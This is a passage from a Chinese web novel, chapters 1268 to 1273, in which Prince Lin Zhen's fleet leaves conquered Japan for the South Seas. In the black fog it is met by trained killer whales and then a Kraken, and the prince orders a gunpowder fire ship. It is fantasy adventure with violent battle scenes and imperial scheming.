“叩谢王爷天恩!叩谢陛下天恩!” “微臣愿为王爷,为陛下,为大乾,粉身碎骨!万死不辞!” 大厅之内,其余大名的目光交织成一张无形的网,羡慕、嫉妒、还有深藏在眼底的怨毒,死死地罩在那个磕头如捣蒜的“猴子”身上。 为什么? 为什么是他?! 林臻将所有人的表情变化尽收眼底,嘴角勾起一抹玩味的弧度。 他要的,就是这个结果。 用一份泼天富贵,在这些倭国旧贵族和以丰臣秀吉为首的新兴势力之间,划开一道深不见底的裂痕。 让他们去争去抢去斗。 一条拴着链子的狗,永远也无法团结起来。 “庆功宴,到此结束。” 林臻淡淡挥手,终止了这场各怀鬼胎的表演。 “接下来,本王与陛下将启程南洋,去‘拜访’一位老朋友。” “倭国之事,全权交由明智总督与丰臣将军共同处理。” 他的声音骤然转冷,杀意凛然。 “本王只有一个要求。” “在我回来之前,这片土地上,我不希望看到任何一个,不姓‘乾’的人!” …… 安土城外,庞大的联合舰队再度起航。 这一次,舰队的目标不再是东方的岛屿,而是南方那片充斥着财富、香料与无尽凶险的蔚蓝。 旗舰“黑珍珠号”的船长室内。 林臻与慕容嫣终于卸下了征服者的面具,享受着片刻的温存。 慕容嫣慵懒地斜倚在林臻怀中,小腹的隆起已颇为明显。 “夫君,就这么走了?”慕容嫣的声音带着一丝担忧,“倭国那边,单靠明智光秀和丰臣秀吉,真的能稳住?” 她认可夫君的制衡之术,但将一片新征服的疆土交给两个心思各异的降将,总觉得不踏实。 “放心,嫣儿。”林臻低头在她光洁的额上印下一吻。 “他们稳不住,才是我要的结果。” “嗯?”慕容嫣抬起头,凤眸中写满不解。 “一个铁板一块的倭国,对我大乾终究是威胁。”林臻的手,轻轻覆上她隆起的小腹,感受着那有力的胎动,眼神变得幽深。 “我要他们斗!让明智光秀代表的旧贵族,和丰臣秀吉代表的新势力,斗得你死我活。他们斗得越凶,就越需要我们大乾这个‘仲裁者’。为了获得我们的支持,他们会争先恐后地向我们输送财富、兵源,出卖他们的一切。” “如此,倭国才能永远成为大乾的血库和钱袋。” “一个可以予取予求,却永远无法构成威胁的,完美的殖民地。” 听着夫君这番冷酷的帝王之论,慕容嫣心中最后一丝担忧烟消云散。 她将头重新埋进他宽阔的胸膛,安心地闭上了眼睛。 有夫如此,她何须操心政务?她只需当好他的妻子,为他生下那个注定要继承这无上伟业的孩子。 “那……我们去南洋,真的只是去‘拜访’那个东印度公司?”慕容嫣换了个舒服的姿势,好奇地问道。 “当然。”林臻的嘴角,勾起一抹狐狸般的笑容。 “我们是礼仪之邦,自然要先礼后兵。我准备了三份大礼,要送给他们那位高高在上的总督大人。” “哦?什么大礼?”慕容嫣的兴致被勾了起来。 “第一份礼”林臻伸出一根手指,“是穆罕默德亲王那颗,泡在琉璃罐里的人头。我要让那位总督明白,觊觎大乾财富的下场。” “第二份礼”他又伸出第二根手指,眼底寒光一闪,“是织田信长的那颗‘虚无之石’。” “我要让他亲眼看看,他们寄予厚望的‘神之造物’,我是如何将它拆解,又如何将它复原的。让他们明白,在绝对的科技面前,他们的神,一文不值。” “至于这第三份礼嘛……”林臻的笑容变得意味深长,“我暂时保密。” “但我保证,那将是一份他绝不想收到的‘惊喜’。一份足以让他明白,与大乾为敌是何等绝望的‘大礼’。” 看着夫君那副故作神秘的坏笑,慕容嫣又好气又好笑,伸出小手在他胸口不轻不重地捶了一下。 “就你花样多。” 两人在船长室里享受着难得的温存。 而此刻的“黑珍珠号”甲板上,岳飞和伊丽莎白,却正在进行一场同样暗流涌动的对话。 “岳将军”伊丽莎白端着一杯朗姆酒靠在船舷上,海风吹动着她那头耀眼的金发,“你说,王爷殿下他,到底想干什么?” 她还是想不明白。 以大乾联合舰队如今的实力,加上十万倭国仆从军和石见银山的财力。 覆灭一个东印度公司,不过是翻手之事。 王爷为何还要搞这么多弯弯绕绕的“拜访”和“送礼”? 岳飞并未立刻回答。 他迎着海风,目光投向遥远的南方海平线,那张古铜色的刚毅面庞上,神情平静如山。 但若细看,便能发现他眼底深处,燃烧着一种近乎信仰的炽热。 许久,他才缓缓开口,声音沉稳如岳。 “伊丽莎白提督,你追随王爷的时日尚短,所以不懂。” “王爷想做的,从来都不是简单的征服。” “他要的,是诛心!” “诛心?” 伊丽莎白重复着这个东方词汇,湛蓝的眸子里满是迷茫。 “我……明白了。” 伊丽莎白的声音有些干涩,她看着岳飞眼中那近乎信仰的光芒,忽然意识到自己也正在成为这样狂热的信徒。 第1269章 迷路了? 半月后...... “王爷!陛下!不好了!” 是伊丽莎白。 她甚至都来不及敲门,便一脸惊慌地直接推门冲了进来。 她那张总是充满了自信和野性的美艳俏脸上,此刻却是布满了前所未有的凝重和一丝……恐惧。 “出……出事了!” “我们……我们好像,迷路了!” “迷路了?” 林臻和慕容嫣都愣住了。 他们看着眼前这个,前一刻还嚷嚷着要当“皇家海军编外私掠舰队总司令”,下一刻就慌得像只没头苍蝇一样的海盗女王,脑子里全是问号。 这可是在大海上啊! 你一个纵横四海几十年,自称是“加勒比海最强女王”的传奇海盗,竟然能在自己最熟悉的地盘上迷路? 这不是开玩笑吗? “伊丽莎白,你是不是朗姆酒喝多了,脑子不清醒?”林臻皱了皱眉,语气里带着一丝不悦。 他最讨厌的,就是这种在关键时刻掉链子的人。 “不!王爷殿下!我发誓,我一滴酒都没沾!”伊丽莎白急得都快哭了,她指着窗外那片看起来风平浪静,但却又透着一股说不出的诡异的海面,声音里带着一丝无法抑制的颤抖。 “您……您自己看!” 林臻和慕容嫣走到窗边,顺着她手指的方向望去。 只见原本应该是一片蔚蓝的,广袤无垠的南洋海面,此刻却被一阵极其诡异的,浓厚的黑色大雾,给彻底地笼罩了。 那雾是如此的浓,如此的黑。 以至于整个庞大的联合舰队,都在瞬间陷入了一片伸手不见五指的漆黑之中。 能见度,甚至不足十米! 更诡异的是,这片黑雾仿佛有生命一般,将他们这支由数百艘战船组成的庞大舰队,给严严实实地包裹了起来,形成了一个巨大无比的,封闭的黑色囚笼。 而囚笼之外,依旧是阳光明媚,海风和煦。 仿佛他们与外面的世界,被一道无形的墙壁,给彻底地隔绝了开来。 “这是怎么回事?”慕容嫣看着眼前这如同神鬼手段一般的诡异景象,那张绝美的俏脸上,也难得地浮现出了一抹凝重。 “好端端的,怎么会起这么大的雾?” “而且这雾还是黑色的,看起来好生邪门……” “我……我也不知道。”伊丽莎白的声音都带上了哭腔,“我航海这么多年,去过魔鬼三角,闯过百慕大,什么样的诡异天气没见过?可像今天这种,把一片海域直接圈起来的黑雾,我真的是连听都没听说过!” “我们所有的罗盘和六分仪,全都失灵了!我们现在根本就不知道自己在哪里,也不知道该往哪个方向走!” “我们就像是一群被蒙住了眼睛的瞎子,被困在了这个该死的,黑色的迷宫里!” 她越说越激动,越说越崩溃。 那双总是充满了自信和野性的蓝色眼眸里,第一次浮现出了一抹名为“绝望”的情绪。 她感觉自己,和自己的这支舰队,就像是一只不小心闯入了蜘蛛网的飞蛾。 无论他们如何挣扎,都无法逃脱那早已注定了的,被吞噬的命运。 然而,就在她快要被这巨大的恐惧和无力感,给彻底压垮的时候。 那个从始至终,都只是静静地看着窗外那片黑雾,一言不发的东方男人,却突然开口了。 “慌什么?” 林臻的声音,依旧是那么的平静,那么的云淡风轻。 仿佛眼前这足以让任何一个最资深的水手,都感到崩溃和绝望的诡异景象,在他看来,不过是一场,无伤大雅的饭后余兴节目。 他转过头,看着伊丽莎白那张写满了惊慌和无助的俏脸,嘴角勾起了一抹,高深莫测的笑容。 “不就是一点小小的障眼法吗?看把你吓得。” “障……障眼法?”伊丽莎白闻言,微微一愣。 “没错。”林臻点了点头,那双深邃的眼睛里,闪烁着如同猎人一般,充满了自信和玩味的光芒。 “如果我所料不差,这应该就是我们那位‘老朋友’,为我们准备的第一份‘见面礼’了。” “老朋友?见面礼?”伊丽莎白更糊涂了。 “就是那个,一直在背后给我们下绊子,妄图掌控整个东方的贸易命脉的,东印度公司啊。”林臻笑着解释道。 “他们这是在用这种方式,向我们炫耀他们的‘肌肉’,告诉我们,这片南洋,是他们的地盘。让我们知难而退呢。” “东印度公司?!”伊丽莎白闻言,那双蓝色的眼眸之中,瞬间迸发出了骇人的滔天怒火! “是这帮该死的,只知道躲在背后放冷箭的卑鄙小人搞的鬼?!” 她现在总算是明白了! 怪不得这片黑雾会如此的诡异,如此的不合常理! 原来这根本就不是什么天灾,而是人祸! 是一场由那帮为了金钱和利益,可以不择一切手段的肮脏商人,所精心策划的阴谋! “这帮该死的混蛋!我一定要把他们全都挂在桅杆上,用最滚烫的焦油,把他们活活烫死!” 伊丽莎白咬牙切齿地嘶吼着,那张美艳的俏脸上,全是暴怒和嗜血。 然而,林臻却像是根本没有听到她的狠话一般。 他只是转过头,看了一眼那个同样是被这诡异景象,给惊得俏脸发白的心爱女人。 “嫣儿,怕吗?”他柔声问道。 “有夫君在,嫣儿什么都不怕。”慕容嫣摇了摇头,那双美丽的凤眸之中,充满了对林臻,毫无保留的绝对信任。 她知道,只要有这个男人在别说是一片小小的黑雾,就算是天塌下来他也能轻而易举地给顶回去。 “那就好。”林臻满意地点了点头。 他伸出手,轻轻地刮了刮她那小巧挺翘的鼻尖,然后用一种充满了宠溺和自信的语气说道。 “那就站稳了。” “让你夫君我,带你好好地看一场比那倭国的烟花,还要更加精彩也更加刺激的海上大戏。” 他说着,便转过身对着那早已是惊慌失措的伊丽莎白,下达了一道让她和在场所有人都目瞪口呆的疯狂命令。 “传我的令!” “全舰队,满帆!满舵!” “给本王,全速前进!” 第1270章 这里有暗礁 “什……什么?!全速前进?!” 伊丽莎白听到林臻这道命令,整个人都傻了。她用一种看疯子一样的眼神看着林臻,那张美艳的俏脸上写满了难以置信的震惊和骇然! “王爷殿下!您……您没开玩笑吧?!” “在这种能见度不足十米的鬼地方全速前进?!您这是想让我们整个舰队都撞死在那些看不见的暗礁上吗?!” 她真的要崩溃了。 她觉得眼前这个东方男人,一定是疯了! 他根本就不懂航海!他根本就不知道,在这种伸手不见五指的浓雾之中,全速航行到底意味着什么! 那不叫勇敢,那叫自杀! “谁告诉你,这里有暗礁了?” 然而,面对着她那充满了惊慌和质疑的质问,林臻的脸上却是没有半分的动容。 他只是静静地看着她,那双深邃的眼睛里,闪烁着一种让人无法直视的,绝对的自信和强大的气场。 “伊丽莎白,你是不是忘了。” “这片黑雾,是人为制造出来的。” “既然是人为的,那它就必然有其目的性。” “你觉得,那帮躲在背后搞鬼的东印度公司的家伙们,他们费尽心机地搞出这么大一个阵仗,就是为了让我们自己撞死在暗礁上吗?” “不。”林臻摇了摇头,嘴角勾起了一抹,充满了嘲讽和不屑的冷笑。 “他们没那么蠢。” “他们之所以要制造出这片黑雾,其真正的目的,只有一个。” “那就是,将我们困在这里。” “让我们像一群无头苍蝇一样,在这片迷宫里兜兜转转,消耗我们所有的补给和耐心。” “然后,再等我们人困马乏,士气低落的时候他们再以逸待劳,从我们意想不到的地方发动致命一击!” 林臻的这番分析,如同醍醐灌顶,瞬间便让伊丽莎白那颗,早已被恐惧和慌乱所占据的大脑清醒了过来。 是啊! 她怎么把这么简单的一个道理给忘了! 这片黑雾,从一开始,就是一个巨大的心理陷阱! 其目的,根本就不是为了让他们撞上暗礁。 而是为了,让他们因为恐惧和未知而停滞不前,从而一步一步落入敌人那早已是设计好的完美的包围圈之中! 想明白了这一点,伊丽莎白那张美艳的俏脸上,瞬间便渗出了一层冰冷的汗珠。 她知道,自己刚才,又一次犯了一个致命的错误。 她又一次,被敌人那看似强大的表象,给吓住了。 若是没有眼前这个,总是能在最关键的时刻,保持着绝对的冷静和理智的东方男人。 她恐怕真的会因为自己的一时怯懦,而将整个舰队,都带入万劫不复的绝境! “那……那王爷您的意思是……”她的声音里,带上了一丝,连她自己都未曾察觉的请教和依赖。 “很简单。”林臻的眼中闪过了一丝如同猎鹰一般锐利而又冰冷的寒光。 “既然他们想让我们停下来,那我们就偏不如他们的意!” “他们不是想把我们困在这个笼子里吗?” “那我们就用最快的速度最强的力量,在他们那自以为是的包围圈还没有完全形成之前!” “狠狠地,撞出去!” 林臻的这番话,充满了无尽的霸气和不容置疑的决绝! 像一把烧红的烙铁,狠狠地烙在了伊丽莎白的心上! 让她那颗,原本还充满了恐惧和不安的心,在这一刻瞬间便被一股前所未有的巨大战意和豪情所彻底点燃! 撞出去! 没错! 他们是纵横四海,所向披靡的大乾联合舰队! 他们是连倭国那所谓的“天下第一坚城”,都能在谈笑之间,就轻松拿下的无敌之师! 又岂能被这区区一片小小的黑雾,给吓破了胆?! “我明白了!王爷殿下!” 伊丽莎白那双蓝宝石一般的眼眸之中,又一次燃起了熊熊的,属于海盗女王的,疯狂和嗜血! 她再也没有任何的犹豫,猛地转过身,用一种,充满了女王霸气的,嘶哑声音,对着门外的传令官,疯狂地嘶吼道! “传我的令!” “全舰队,升满帆!掌满舵!” “目标!正前方!” “给老娘,全速前进!” “撞碎所有,敢于挡在我们面前的一切!” “喔——!” 随着伊丽莎白那一声,充满了无尽的疯狂和战意的命令。 整个庞大的,如同移动的海上城市的黑色舰队,在沉寂了许久之后,终于又一次,爆发出了它那,足以让整个大海都为之颤抖的,愤怒的咆哮! 一艘艘通体漆黑的巨大战船,那巨大的,如同蝙蝠翅膀一般的黑色船帆,在顷刻之间,便被强劲的海风,给吹得鼓鼓囊囊! 船头那锋利无比的,加装了巨大撞角的狰狞船首,像一把把,来自于九幽地狱的,黑色的死亡镰刀! 以一种,近乎于自杀式的疯狂速度! 向着那片,充满了未知和死亡的无尽的黑暗深处狠狠冲了过去! 船长室里。 慕容嫣紧紧地抱着林臻的胳膊,感受着脚下那因为全速航行而剧烈颠簸的甲板。 她那张绝美的俏脸上,虽然还有些苍白,但那双美丽的凤眸之中却充满了前所未有的兴奋和刺激! 她喜欢这种感觉! 喜欢这种,将自己的命运和自己心爱的男人,都压在一场充满了未知的豪赌之上的极致的疯狂! 她身上那件作为唯一寝衣的神凤降世裙,在这剧烈的颠簸之中紧紧地贴合在她那因为怀孕而愈发丰腴动人的曲线上,将她那惊心动魄的完美身材,勾勒得淋漓尽致。那长达五丈的墨金色苏锦拖尾,更是在这狭小的船长室里随着船身的晃动,而如同黑色的潮水一般来回翻涌。那只用真金线绣成的擎天巨凤,在这剧烈的颠簸之中,仿佛也活了过来!凤目圆睁,充满了与它的主人如出一辙的,疯狂和战意! “夫君,”她将头,轻轻地靠在林臻的肩膀上,声音里带着一丝,小女孩般的好奇和期待,“你说,我们这次能撞出去吗?” “当然能。”林臻笑着将她往怀里又紧了紧。 他看着窗外那,飞速倒退的浓厚的黑雾,那双深邃的眼睛里闪过了一丝高深莫测的笑容。 “因为,我早就已经为他们准备好了另一份,他们绝对意想不到的超级‘惊喜’了。” 第1271章 杀人鲸 “惊喜?” 慕容嫣水盈盈的凤眸中,映着窗外化不开的墨色,她实在想不出在这片绝望的漆黑里,夫君还能变出什么花样。 林臻却只是笑了笑没有说话,抬手指向窗外。 “嫣儿,你仔细听。” 慕容嫣屏息凝神。 风声呼啸,浪涛拍打船身的声音连绵不绝,除此之外再无他物。 “听什么呀?”她有些茫然。 “再仔细听。”林臻的声音里带着一丝玩味。 慕容嫣只好将全副心神沉入周遭的声响中,剥离风声滤掉水声。 渐渐地,一种极其微弱、频率极低的声音,从那嘈杂的背景音中浮现出来。 “嗡……嗡……” 那声音沉闷而厚重,仿佛来自深海,又像是无数巨物的共鸣。 若非林臻提醒,这声音几乎无法被人的耳朵捕捉。 “这是什么声音?”慕容嫣的好奇心彻底被引动。 “鱼的声音。”林臻的回答轻描淡写。 “鱼?”慕容嫣愈发不解,“什么鱼会发出这种声音?” “不是普通的鱼。”林臻眼底掠过一抹狡黠“是一群受过特殊训练的‘杀人鲸’。” “杀人鲸?!” 两个截然不同,却同样惊骇的尖叫声同时响起。 慕容嫣与一旁的伊丽莎白,脸上都写满了不敢置信。 杀人鲸! 海洋食物链的绝对顶点。 它们聪明、嗜血,以家族为单位行动,是所有海洋生物的噩梦。就算是体型庞大数倍的蓝鲸,在它们的围猎下也只有被撕碎的份。 可……王爷是从哪里,又是在什么时候,弄来了这样一支海洋里的死亡军团? “王……王爷殿下……”伊丽莎白的声音发颤,刚才燃起的豪情被这更疯狂的现实浇得一滞,“您是说,我们……我们被一群杀人鲸包围了?” “不是包围。”林臻摇了摇头纠正她“是护航。” “护……航?” 伊丽莎白的大脑彻底宕机。 用海洋中最顶级的掠食者,来为一支人类舰队护航? 这是什么疯子才能想出来的操作?! “没错。”林臻点头,笑容里透着几分得意。 “你们忘了,我们这次来南洋是有‘朋友’接应的。” “朋友?” “就是那个被倭国人奉为‘神仙’的千古第一方士,徐福。” 林臻转头看向慕容嫣,耐心解释道:“那老家伙旁门左道的东西不少,尤其在驱使百兽特别是海洋生物这方面,确有旁人难及的天赋。” “他当年能率三千童男童女安然抵达倭国,靠的便是这手与海洋生物沟通,并驱使它们为己所用的绝技。” “出发前,我已用‘八咫乌’的信物联系了他。” “让他派麾下最精锐的‘神武会’弟子,带着他视若珍宝的‘杀人鲸军团’,在这片海域等我们。” 林臻的目光穿透浓雾,仿佛已经看到了敌人惊恐的脸。 “我早料到东印度公司会在这里设伏。” “所以,便为他们准备了这份‘以其人之道,还治其人之身’的大礼。” “他们想用黑雾让我们变成瞎子?” “我就用这群天生拥有最精准声呐系统的‘活体导航’,为我们开路!” “我倒要看看,是他们的障眼法厉害,还是我这群海洋霸主更胜一筹!” 林臻的每一句话都像一记重锤,狠狠砸在慕容嫣和伊丽莎白的心头。 两个女人已经彻底失语。 用杀人鲸当导航?! 这已经超出了用兵如神的范畴,这根本就是神话传说中才存在的手段! 伊丽莎白凝视着林臻那张永远自信从容的脸,蓝色的眼眸里狂热的火焰几乎要喷薄而出。 她此刻才真正明白,自己选择追随的,是一个怎样恐怖的存在。 成为加勒比海的女王,是她一生的荣耀。 而能成为这个男人的追随者,或许是神明对她最大的恩赐。 慕容嫣则只是更紧地抱住了自己夫君的胳膊,无与伦比的骄傲与自豪充斥着她的心扉。 这就是她的男人。 一个总能在绝境中,创造奇迹的男人! 仿佛是为了印证林臻的话。 他话音落下的瞬间! “轰——轰隆隆——!” 那漆黑的浓雾深处,骤然传来一连串恐怖的巨响!那是船体被硬生生撞碎的声音,是木板断裂和海水倒灌的轰鸣! 紧接着,无数凄厉的惨叫穿透了雾气隐约传来! “怪物!海里有怪物!” “船!我们的船沉了!” “救命!救命啊——!” 听着那来自地狱的悲鸣,伊丽莎白舔了舔干涩的嘴唇,脸上浮现出病态的兴奋。 她知道,王爷的“惊喜,送到了! “王爷殿下”她的声音沙哑,充满了对鲜血的渴望,“现在,是不是该……” “不急。” 林臻笑着摇头。 “好戏,才刚开场。” 他缓缓举起手中的单筒望远镜,望向那片黑暗的深处。 冰冷的光学镜片中,一幕炼狱般的景象正在上演。 数十头体长超过十米的庞然巨物,如同一群来自深渊的死神。 它们用比钢铁更坚硬的头颅,用剃刀般锋利的牙齿,疯狂地撞击、撕咬着那些在浓雾中惊慌失措的东印度公司武装商船! 场面血腥,而又震撼! 一艘艘坚固的武装商船,在这些海洋霸主最原始、最野蛮的攻击下,脆弱得如同纸糊的玩具。 它们被轻易地撞成碎片,木屑横飞! 无数水手和士兵被卷入冰冷的海水,随即被那一张张吞噬一切的血盆大口拖入深不见底的黑暗漩涡,连一声完整的惨叫都无法发出。 林臻安静地看着这场由他亲手导演的屠杀。 他以为这场单方面的虐杀,会以“杀人鲸军团”的压倒性胜利而告终。 然而,就在此时。 异变陡生! 望远镜的视野中,一头正在享受猎杀盛宴的杀人鲸,动作突然僵住。 它庞大的身躯猛地一颤,仿佛被什么东西从下方狠狠地顶了一下。 下一秒。 一道比杀人鲸本身还要粗壮数倍的,布满了粘稠液体和倒钩吸盘的暗红色触手,毫无征兆地从漆黑的海水中爆射而出! 那触手快如闪电,以一种不容抗拒的恐怖力量,死死缠住了杀人鲸的腰腹! “吼——!!!” 海洋的霸主,发出了一声充满痛苦与惊骇的悲鸣! 它疯狂地挣扎,扭动着强壮的身躯,试图摆脱这致命的束缚。 但一切都是徒劳。 那暗红色的恐怖触手,只是猛地一收紧! “咔嚓——!” 一声令人牙酸的骨骼碎裂声,即便隔着遥远的距离,似乎也能穿透风浪,传入耳中。 重达十吨的杀人鲸,那坚韧的脊骨,竟被硬生生勒断! 鲜血混合着内脏的碎片,瞬间染红了一大片海域。 而那条恐怖的触手,只是稍作停顿,便拖着杀人鲸残破的尸体,缓缓沉入了更深、更黑暗的海底。 整个过程,不过发生在电光石火之间! 船长室内,刚刚还一脸狂热与兴奋的伊丽莎白,脸上的血色瞬间褪得一干二净。 她死死地盯着那片迅速恢复平静,只留下一抹血色的海面,身体不受控制地剧烈颤抖起来。 “那……那是什么鬼东西?!” 林臻缓缓放下了望远镜。 他的脸上,那标志性的、运筹帷幄的笑容,第一次消失了。 取而代之的,是一片冰冷的凝重。 第1272章 克拉肯 林臻脸上的笑意,第一次干净彻底地消失了。 他那双总是平静无波的眼瞳里,此刻翻涌着骇人的寒光。 那不是杀人鲸。 也不是这个世界已知的任何生灵。 那东西,来自更深,更古老的噩梦深渊! “那……那是什么鬼东西?!” 伊丽莎白喉咙里挤出的声音嘶哑扭曲,像是被无形的手扼住。 她纵横四海数十年,亲手屠戮的海怪能堆成一座小山。 可眼前这东西…… 只用一根触手,就将海洋的霸主活活绞杀! 这不是凡人能够对抗的力量。 这是从神话里爬出来,要毁灭人间的灾祸! “克拉肯……” 林臻吐出一个冰冷的,伊丽莎白闻所未闻的词汇。 他声音极轻,分量却重得足以压垮一艘战舰。 “什么……啃?” 伊丽莎白大脑一片空白,极致的恐惧让她丧失了思考的能力。 “没什么。” 林臻摇头,懒得解释另一个世界的传说。 他收紧手臂,将怀中同样被惊得脸色煞白,却死死咬着嘴唇没有失态的慕容嫣搂得更紧。 “嫣儿,别怕。” 他声音低沉,有一种能强行镇压一切混乱的安定力量。 “有我在。” 慕容嫣没有说话。 她只是将脸颊用力贴进他坚实的胸膛,汲取着那份独属于他的沉稳与暖意。 身体的本能仍在战栗,但她的心,却因为这个拥抱而强行镇定下来。 她当然怕。 哪怕她对自己的夫君有着近乎神明般的信任,但这只触手展露出的灭世之力,依旧让她这位女帝感到了发自灵魂深处的渺小与无力。 轰——!!! 一声巨响从“黑珍珠号”的龙骨处炸开,比之前任何撞击都来得沉重、狂暴! 整座海上堡垒般的巨舰,竟被这股力量硬生生从海面抬起,又重重砸下! “啊!” 伊丽莎白尖叫着摔倒在地。 慕容嫣身体一晃,几乎站立不稳。 一只大手揽住她的纤腰,力量沉稳将她牢牢钉在原地。 “小心。” 林臻的声音依旧平稳,仿佛脚下不是一艘即将解体的战船,而是他王宫的黄金大殿。 他一手护住慕容嫣,另一只手死死扣住身旁的主桅,身形稳如山岳。 林臻的眉头紧锁。 那头深海巨兽,在清理掉碍事的杀人鲸后,终于将贪婪的目光,锁定了他们这支更庞大、更美味的“主菜”! 轰! 轰! 轰——! 一下比一下更猛烈的撞击,疯狂地从船底传来! 黑珍珠号百年铁木铸就的船身正发出牙酸的碎裂声。 狰狞的裂缝在船舱四壁蛛网般蔓延,冰冷的海水疯狂倒灌! “船要沉了!” “魔鬼!是海里的魔鬼!” “救命啊!” 末日般的恐慌,瞬间吞噬了整个舰队。 水手们崩溃了,有人绝望地跳进漆黑的海里。 迎接他们的,是一根根从深海中无声探出的暗红色触手。 那些触手闪电般卷起落水者,在短促而凄厉的惨叫声中,将他们拖入不见底的黑暗漩涡。 甲板之上,已是人间炼狱。 伊丽莎白看着这一切,蓝色的眼眸被血色彻底浸染。 恐惧被一种更极致的暴怒所取代! 她像一头护崽的母狮,一把夺过传令官手里的黄铜传声筒,用尽全身力气发出嘶哑而疯狂的咆哮! “所有炮手就位!” “给老娘把所有炮弹都打光!” “就算是死,也要从这畜生身上,给老娘撕下一块肉来!” 这声属于海盗女王的怒吼,像一桶烈酒浇进所有被恐惧冻僵的水手心里! 他们是纵横四海的大乾联合舰队!是踏平了倭国第一坚城的无敌之师! 怎能如此窝囊地,死在一个连真面目都没见过的怪物手里?! “开炮!” “为王爷尽忠!” “跟这怪物拼了!” 刹那间,数百艘战船之上,近万门火炮发出了震天的怒吼! 炮手们赤裸上身,肌肉虬结,状若疯魔,机械地执行着装填、点火的动作。 无数烧得通红的实心铁球,拖着炽热的尾焰,划破漆黑的浓雾,狠狠砸向那些在海面上翻涌舞动的暗红色触手! 砰!砰!砰! 沉闷的撞击声不绝于耳。 然而,那足以轰塌城墙的炮弹,砸在巨兽的触手之上,竟只是让其微微一颤。 大部分炮弹,甚至直接陷入了那粘稠滑腻的血肉之中,连一朵像样的血花都未能炸开。 这点攻击,对这头庞然巨物而言,无异于挠痒! “吼——!!!” 被激怒的巨兽,从深海发出了一声咆哮。 那音波化作实质的冲击,让海面都为之沸腾! 一条比船身还粗的巨型触手,携着万钧之势从天而降,狠狠抽向了旁边的一艘护卫舰! “咔嚓——!!!” 坚固的战舰,在那条触手面前脆弱得如同朽木。 只一击,整艘船便从中断为两截! 船上的水手连惨叫都来不及发出,便随着断裂的船体和无数木屑,被卷入了死亡的漩涡! 血腥与硝烟混杂着浓雾,凝成一股令人作呕的,死亡的气味。 “没用的东西!别打它的肉!” 她嘶吼着,声音盖过了炮火的轰鸣,“瞄准它的关节!它的吸盘!给老娘把它打烂!打残!” 然而,就在这时,林臻那平静得近乎冷酷的声音,突然在她耳边响起。 “伊丽莎白,停火。” “什么?!”伊丽莎白猛地回头,不敢置信地看着林臻,“王爷殿下!现在停火,我们就是活靶子!” “我说,停火。” 林臻的语气没有丝毫起伏,他那双深不见底的眼眸,正死死盯着一处翻涌的海面。 慕容嫣顺着他的目光看去,强压下心头的恐惧,仔细观察。 很快,她也发现了端倪。 “夫君,你看!”她指着那片海域,声音里带着一丝急切,“那触手每次攻击,海面下都会有一个更加庞大的阴影在同步移动!那才是它的本体!” “嫣儿说得对。” 林臻眼中闪过一抹赞许。 他转头,目光扫过已经陷入癫狂的伊丽莎白。 “炮击只会暴露我们的位置,激怒它,却无法对它的本体造成致命伤害。” “传我的令!” “所有船只,立刻熄灭所有火把、灯笼!” “全舰队,保持静默!” 在这片有怪物出没的漆黑海域里,熄灭所有光源,那不等于闭着眼睛等死吗? 伊丽莎白的大脑一片混乱,但看着林臻那张没有丝毫波澜的脸,她鬼使神差地选择了服从。 “传……传王爷令!全舰队,熄灭所有光源!保持静默!” 命令被迅速传达下去。 很快,一盏盏灯笼被熄灭,一支支火把被踩灭。 炮声停了,喊杀声也停了。 整个庞大的舰队,瞬间陷入了死一般的寂静与黑暗之中。 只剩下海浪拍打船身的声音,以及那巨兽在水下移动时,发出的令人心悸的沉闷水声。 林臻再次开口。 “伊丽莎白,你的旗舰上,有多少鲸油?” “鲸……鲸油?”伊丽莎白一愣,“大概……大概还有三百多桶,都是最上等的抹香鲸油。” 那是用来作为长途航行高级燃料和照明用的,珍贵无比。 “很好。” 林臻的嘴角,终于勾起一抹弧度,森然而冷酷。 第1273章 炼狱之船的诞生 伊丽莎白的大脑已经停止了运转。 她无法理解,这个东方男人究竟要行何等疯狂之事。 但思考已是多余。 求生的本能,让她将林臻的每一道命令,都当成了最后的圣旨。 “王爷殿下……您说我们该怎么做?”她的声音依旧在颤却不再是绝望,而是染上了一丝押上一切的疯狂。 “很简单。” 林臻走到那副巨大的南洋航海图前,图上密密麻麻标注着岛屿、暗礁与洋流,是伊丽莎白数十年生涯的心血。 他的手指在海图上缓缓滑过,最后叩停在一点。 那片海域,被海图标记为“风暴之眼”。 一个被无数致命漩涡与嶙峋暗礁环绕的死亡禁区。 是所有水手都闻之色变的船骸坟场。 “我们要把它,引到这里。”林臻的声音,没有半分商量的余地。 “风暴之眼?!” 伊丽莎白失声尖叫,她感觉自己这辈子受的惊吓加起来,也不及今日一半,“王爷殿下,您疯了?!那地方别说船,海鸟飞过去都得被撕碎!我们怎么可能……” “我们不去。”林臻的眼底闪动着冰冷的光,“让那艘‘炼狱之船’去。” 他转过身,看着已经彻底失神的伊丽莎白,一道道命令清晰吐出。 “伊丽莎白,传令!所有船只集中全部鲸油、烈酒、焦油,灌满一艘速度最快的中型补给船!” “岳飞!” “末将在!”一直沉默护在慕容嫣身侧的岳飞,踏前一步抱拳领命。 “带神机营,将所有大口径火炮移至黑珍珠号及各主舰船头!再将所有铁索连接,给我做成一张能捞起海龙王的‘渔网’!” “鬼影!” “属下在。”鬼影的身形在船长室的阴影里浮现无声无息。 “带你的人潜入补给船,用火药塞满船舱的每个角落!我要的量要能在一瞬间,把那艘船连同它周围的一切,都送上天!” 命令如刀,一道道劈开混乱。 这间本已陷入恐慌的船长室,秩序被强行重塑。 伊丽莎白、岳飞、鬼影,海盗女王、东方名将、首席刺客,这些站在各自领域顶点的人物,此刻都成了最忠实的执行者。 他们不明白林臻要做什么。 但他们信他。 信这个男人,能带他们从地狱里杀出一条活路! 众人领命而去,船长室重归寂静,只剩下林臻和慕容嫣。 “夫君……” 慕容嫣紧紧抱着他的胳膊,脚下的甲板仍在剧烈颠簸,船体呻吟着,仿佛随时都会散架。 那头深渊巨兽察觉到了猎物的意图,攻击愈发狂暴。 她努力镇定,可身体的战栗却出卖了内心的恐惧。 她今日所穿的,仍是那身作为寝衣的神凤降世裙。 极致玄黑的苏锦,与窗外的无边浓雾几乎融为一体,深邃得令人心慌。 船身剧烈摇晃,那用真金线绣成的擎天巨凤也似活了过来,金色的羽翼紧紧收拢,凤目死死盯着深海的方向,充满了警惕与不安。 长达五丈的墨金色拖尾,在呻吟的甲板上滑走,像一条被困于囚笼焦躁不安的黑龙。 “别怕,嫣儿。”林臻将她拥入怀中,低头在她光洁的额上,印下一个温柔的吻。 他知道,他的小娇妻贵为女帝杀伐决断,可骨子里终究是他的女人。 